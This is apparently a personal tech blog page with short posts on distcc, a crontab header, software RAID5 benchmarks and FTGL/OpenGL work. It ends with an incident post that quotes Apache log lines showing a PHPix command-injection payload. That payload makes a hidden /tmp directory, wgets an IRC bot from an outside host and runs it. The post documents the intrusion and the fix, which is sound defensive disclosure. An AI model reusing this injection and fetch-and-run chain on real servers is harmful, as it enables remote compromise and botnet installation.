distcc is cool.

C/C++ — Dillon @ 5:11 pm

Distcc is a distributed C/C++ compiler. You can easily use a bunch of machines’ power to compile stuff. The setup isn’t bad at all. It’s just a non-root network service.

Gentoo.org has some nice instructions on setting up distcc for builds. Here, we have 2x Pentium 3 machines and 1x dual xeon helping me build nethack. Don’t have numbers on how much faster it was but it seemed faster. Most makes/compiles are annoyingly slow, this seemed ok.

distcc_thumb.jpg

Useful Crontab Header

Unix — Dillon @ 2:32 pm
#minute (0-59),
#|      hour (0-23),
#|      |       day of the month (1-31),
#|      |       |       month of the year (1-12),
#|      |       |       |       day of the week (0-6 with 0=Sunday).
#|      |       |       |       |       commands

Good for putting at the top of crontab files.

Software RAID5 is no good.

Unix — Dillon @ 2:03 pm

Set up a 2.6TB raid5 volume using A5200s and a 2x450mhz E220R. Shared it using samba3. Saw that network copies were horrible to it. This is the output of bonnie++ (a disk benchmark) and then I piped the results to `bon_csv2html’ program (included with the source distribution of bonnie).

bonnie_results.jpg

You can see that I’m getting only 594KB of block writes per second but 13.3MB of block reads per second. Writes are way too slow because it’s having to write little 32k interlaces across 40 disks in an external disk array.

Test2 is a 3 disk RAID5 stripe. Interlace size is still the default of 32k. Still not great performance. Boo software RAID5.

Some OpenGL progress

C/C++ — Dillon @ 11:24 am

I finally got the FTGL library built. It was quite annoying to do. In the end, I had a libfreetype.a file (looks like an assembly binary) and a libftgl.a file. I added those to the XCode project. Then I double clicked on the target icon to pull up a properties pane where I could add the Freetype2 headers I installed from source.

I made freetype2′s prefix path /sw/freetype2 with `configure –prefix=/sw/freetype2′. With that path, I included /sw/freetype2 and /sw/freetype2/include in the XCode project.

I’ll post screenshots of this whole process because I couldn’t find jack on the Internet about this.

After futzing around with some FTGL demos that didn’t work I finally modified an example to the point that it loaded a true type font and displayed the string “hi” on the screen. I was very happy. I was then able to move the texture and change the alpha channel to make it fade away. What I’m looking for is a little popup of arbitrary text to appear over someone’s head when they get hit to represent damage.

Right now, I’m stuck trying to figure out how to trigger this whole drawing thing off of a keystroke instead of just being called with by the main function. I’ll post the entire example with pics soon. [placeholder]

Sorta got owned.

Unix — Dillon @ 11:54 pm

/tmp is writable for the apache user. Someone exploited some bad code and uploaded an IRC bot on Aug 09. It’s not running now and we did a test to see if ./mech could be run. It didn’t start.

We fixed the PHPix code to check for system escapable characters. PHPix really should have done this from the start. Goes to show you that security really goes out the window with freeware and lots of services running.


[Mon Aug 09 05:39:42 2004] [error] [client 82.208.182.219] File does not exist: /var/www/jonhammond/docs/albums/generated/Misc/Other/dogs__scaled_`cd , referer: http://jonhammond.com/albums/?mode=view&album=Misc%2FOther&pic=dogs.jpg&
dispsize=http://www.martynlomax.com/phpix/index.php?album=pissups%2FOn-Anon&
dispsize=`cd%20/tmp;mkdir%20'%20..%20';cd%20'%20..%20';wget%20idl3.home.ro/botu.tgz;
tar%20xzvf%20botu.tgz;cd%20botu;./mech;./mech`&start=0


[Mon Aug 09 12:12:42 2004] [error] [client 82.208.182.219] File does not exist: /var/www/jonhammond/docs/albums/generated/Misc/Virginia/matt__scaled_`cd , referer: http://jonhammond.com/albums/?mode=view&album=Misc%2F
Virginia&pic=matt.jpg&
dispsize=`cd%20/tmp;mkdir%20'%20..%20';cd%20'%20..%20';wget%20idl3.home.ro/botu2.tgz;
tar%20xzvf%20botu2.tgz;cd%20botu;./mech`&start=0

Wasn’t a big deal, the IRC bot didn’t run because apache’s shell is /bin/false. (I shouldn’t be telling you all this) I’m still researching what emech is, how IRC bots work and if I can lock down apache anymore.

This work is licensed under a Creative Commons Attribution-Noncommercial-Share Alike 3.0 Unported License.
(c) 2012 SQUARISM | powered by WordPress with Barecity